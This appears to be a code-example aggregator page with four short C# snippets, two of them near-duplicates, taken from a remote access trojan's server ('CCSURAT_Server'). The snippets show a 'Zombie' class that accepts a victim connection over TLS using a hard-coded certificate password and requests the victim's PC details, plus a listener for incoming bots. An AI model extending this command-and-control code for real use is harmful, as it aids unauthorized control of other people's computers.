Ejemplo n.º 1
0
        public Zombie(ServerMainForm form, TcpClient client)
        {
            this.mainForm = form;
            this.zombieListView = mainForm.zombieListView;
            this.client = client;
            this.netStream = client.GetStream();
            sslStream = new SslStream(netStream);

            if (sslSecured)
            {
                // Build the server cert from resources
                Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("CCSURAT_Server.Resources.Server.pfx");
                byte[] bytes = new byte[stream.Length];
                stream.Read(bytes, 0, bytes.Length);
                serverCertificate = new X509Certificate2(bytes, "cs492");

                sslStream.AuthenticateAsServer(serverCertificate, false, SslProtocols.Tls, false);

                // Create stream writer/reader objects, could be used for easier read/write
                sw = new StreamWriter(sslStream);
                sr = new StreamReader(sslStream);
            }

            this.active = true;

            // initialize monitor list
            monitors = new List<ControlClasses.Monitor>();
            
            // initialize ping check objects
            pingSender = new Ping();

            // request basic PC info (computer name, username, cpu, etc...)
            this.SendData("[[START]][[/START]]");
            Console.Beep();
        }
Ejemplo n.º 2
0
        public Zombie(ServerMainForm form, TcpClient client)
        {
            this.mainForm       = form;
            this.zombieListView = mainForm.zombieListView;
            this.client         = client;
            this.netStream      = client.GetStream();
            sslStream           = new SslStream(netStream);

            if (sslSecured)
            {
                // Build the server cert from resources
                Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("CCSURAT_Server.Resources.Server.pfx");
                byte[] bytes  = new byte[stream.Length];
                stream.Read(bytes, 0, bytes.Length);
                serverCertificate = new X509Certificate2(bytes, "cs492");

                sslStream.AuthenticateAsServer(serverCertificate, false, SslProtocols.Tls, false);

                // Create stream writer/reader objects, could be used for easier read/write
                sw = new StreamWriter(sslStream);
                sr = new StreamReader(sslStream);
            }

            this.active = true;

            // initialize monitor list
            monitors = new List <ControlClasses.Monitor>();

            // initialize ping check objects
            pingSender = new Ping();

            // request basic PC info (computer name, username, cpu, etc...)
            this.SendData("[[START]][[/START]]");
            Console.Beep();
        }
Ejemplo n.º 3
0
 public Listener(ServerMainForm form, List<Zombie> zombies, int port)
 {
     this.mainForm = form;
     this.zombies = zombies;
     this.port = port;
     listener = new TcpListener(IPAddress.Any, port);
     isListening = true;
     Log("Listener initialized.");
 }
Ejemplo n.º 4
0
 public Listener(ServerMainForm form, List <Zombie> zombies, int port)
 {
     this.mainForm = form;
     this.zombies  = zombies;
     this.port     = port;
     listener      = new TcpListener(IPAddress.Any, port);
     isListening   = true;
     Log("Listener initialized.");
 }